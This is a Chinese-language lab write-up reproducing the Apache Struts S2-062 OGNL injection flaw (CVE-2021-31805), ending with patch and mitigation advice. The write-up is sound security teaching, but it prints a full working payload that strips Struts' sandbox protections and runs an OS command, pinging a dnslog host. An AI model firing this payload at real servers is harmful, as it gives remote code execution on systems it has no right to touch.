S2-062_RCE漏洞复现(CVE-2021-31805)


一、漏洞描述

该漏洞是由于对S2-061(CVE-2020-17530)的修复不完整,在Apache Struts 2.0.0-2.5.29版本范围内,如果开发人员使用 %{xxx} 语法进行强制OGNL解析时,标签的某些属性仍然可被二次解析。当解析未经验证的用户输入时可能会导致远程代码执行。

二、影响范围

2.0.0 <= Struts >=2.5.29

三、漏洞复现

复现环境:vulfocus靶场

注册登录后启动CVE-2021-31805漏洞环境

 

 

 

访问漏洞地址,访问地址+测试路径。

 

这里使用Post方式传参,如果使用Get方法,抓包时需将Get改为Post。

 

 

 burp抓包发送Repeater,在name参数后插入payload。

 由于靶场无回显,这里使用dnslog探测。

payload:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2842la.dnslog.cn'}))

这里将payload进行URL编码后发送,可在dnslog平台看到有响应,说明漏洞存在。

 

四、修复建议

1. Apahce官方已发布最新版本Struts2.5.30修复该漏洞,建议受影响的用户尽快将Apache Struts框架升级至最新版本。
 
下载链接:
 
https://struts.apache.org/download.cgi#struts-ga
 
2. 临时解决方法:
 
1) 避免对不受信任的用户输入使用强制OGNL解析
 
2) 开启ONGL表达式注入保护


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM